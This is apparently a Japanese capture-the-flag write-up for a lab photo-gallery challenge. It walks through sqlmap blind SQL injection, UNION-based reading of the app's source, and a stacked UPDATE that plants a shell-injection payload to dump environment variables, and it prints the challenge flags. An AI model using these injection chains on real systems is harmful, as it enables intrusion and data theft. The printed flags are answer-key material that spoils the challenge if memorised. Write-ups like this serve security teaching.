- 画像のギャラリーサイト
- ソースコードを見ると、
fetch?id=1
というリクエストで画像を得ているfetch?id=1
とfetch?id=2
は200応答fetch?id=3
は500エラー、fetch?id=0
やfetch?id=4
は404エラーfetch
は400エラー- とりあえず
fetch?id=../../../../../../../etc/passwd
はダメっぽい
- HTTP通信からの読み取り
- Server: nginx/1.14.0 (Ubuntu)
Flag 0
試しに'
を入れてみると、500エラーになる。
404エラーにならないところを見るとインジェクション可能な雰囲気がある。
数が与えられているので、'
は無しっぽい。
加えて、404か200のオラクルがあるので、boolean-based blind sql injectionが使えそう。
sqlmapで以下のコマンドを実行する。
$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET --dbs -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B [*] information_schema [*] level5 [*] mysql [*] performance_schema
sqlmapは簡単にできるものでなければ、色々な情報を指定することで、解析速度を上げることができる。
攻撃の当てがついている場合は設定として与えてあげよう。
$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B -D level5 --tables Database: level5 [2 tables] +--------+ | albums | | photos | +--------+ Database: level5 Table: albums [1 entry] +----+---------+ | id | title | +----+---------+ | 1 | Kittens | +----+---------+ Table: photos [3 entries] +----+------------------+--------+------------------------------------------------------------------+ | id | title | parent | filename | +----+------------------+--------+------------------------------------------------------------------+ | 1 | Utterly adorable | 1 | files/adorable.jpg | | 2 | Purrfect | 1 | files/purrfect.jpg | | 3 | Invisible | 1 | 56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320fe | +----+------------------+--------+------------------------------------------------------------------+
56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320fe
はSHA-256のハッシュ値らしい。
ほう?
それよりもfilenameが入っているので、idを入れるとfilenameが取ってこれて、これでファイルを持ってきているのではと推測。
試しに直で/files/adorable.jpg
にアクセスしてみる。
→ 404
あれっ???
試しに0 UNION SELECT 'files/adorable.jpg'
をidに入れてみると正しくでてくる。
分からん。ヒントを見ると、uwsgi-nginx-flask-docker image
とある。
ググってみると、tiangolo/uwsgi-nginx-flask-docker: Docker image with uWSGI and Nginx for Flask applications in Python running in a single container. Optionally with Alpine Linux.が出てくる。
Dockerfileは無いと思うが、以下のようなディレクトリ構成が書いてある。
. ├── app │ ├── app │ │ ├── __init__.py │ │ ├── main.py │ └── uwsgi.ini └── Dockerfile
まずはmain.pyを見てみよう。
0 UNION SELECT 'main.py'
from flask import Flask, abort, redirect, request, Response import base64, json, MySQLdb, os, re, subprocess app = Flask(__name__) home = ''' <!doctype html> <html> <head> <title>Magical Image Gallery</title> </head> <body> <h1>Magical Image Gallery</h1> $ALBUMS$ </body> </html> ''' viewAlbum = ''' <!doctype html> <html> <head> <title>$TITLE$ -- Magical Image Gallery</title> </head> <body> <h1>$TITLE$</h1> $GALLERY$ </body> </html> ''' def getDb(): return MySQLdb.connect(host="localhost", user="root", password="", db="level5") def sanitize(data): return data.replace('&', '&').replace('<', '<').replace('>', '>').replace('"', '"') @app.route('/') def index(): cur = getDb().cursor() cur.execute('SELECT id, title FROM albums') albums = list(cur.fetchall()) rep = '' for id, title in albums: rep += '<h2>%s</h2>\n' % sanitize(title) rep += '<div>' cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, )) fns = [] for pid, ptitle, pfn in cur.fetchall(): rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle)) fns.append(pfn) rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>' rep += '</div>\n' return home.replace('$ALBUMS$', rep) @app.route('/fetch') def fetch(): cur = getDb().cursor() if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0: abort(404) # It's dangerous to go alone, take this: # ^FLAG^99fc070b8a7b010f9$FLAG$ return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read() if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
出てきましたね。
Flag 1
上で出した56ff7e1cd7f15e9ee10df87????????????????33cbc50c75b093f0cbc1320fe
の先頭末尾にFLAGのシグネチャを付けて提出すると、Flag1となる。
分かるか!
Flag 2
外部から入力を入れられるところは/fetch?id=
である。
ここにうまくやれば、UPDATE文をinjectionできる。
/fetch?id=1;UPDATE photos SET filename=' || env > dump.txt' WHERE id = 3;COMMIT;--
普通にクエリが実行されて帰ってくる。
しかし、UPDATE文も実行される。
/
これで、du -ch %s || exit 0
にインジェクションされて、du -ch * || env > dump.txt || exit 0
みたいになる。
ここでRCEができて、dump.txtに環境変数が吐き出される。
サイズがちゃんと出てきているし、その裏で環境変数が書きだされている。
fetch?id=0 UNION SELECT 'dump.txt'
PYTHONIOENCODING=UTF-8 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi FLAGS=["^FLAG^99fc0735525584ac5dc6d3bba06a3b0b8a7b010f9$FLAG$", "^FLAG^56ff7e1cd7f15e9ee10df50c75b093f0cbc1320fe$FLAG$", "^FLAG^041d81d3710e5bb9964894e7f32f6960a48713afe3088d0f52a7482b6b264d81$FLAG$"] HOSTNAME=9f454215 SHLVL=0 PYTHON_PIP_VERSION=18.0 HOME=/root GPG_KEY=C01E1CAD5EA2C218ADD4FF UWSGI_INI=/app/uwsgi.ini NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 STATIC_URL=/static UWSGI_CHEAPER=2 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=2.7.15 NGINX_WORKER_PROCESSES=1 SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0
出てきました。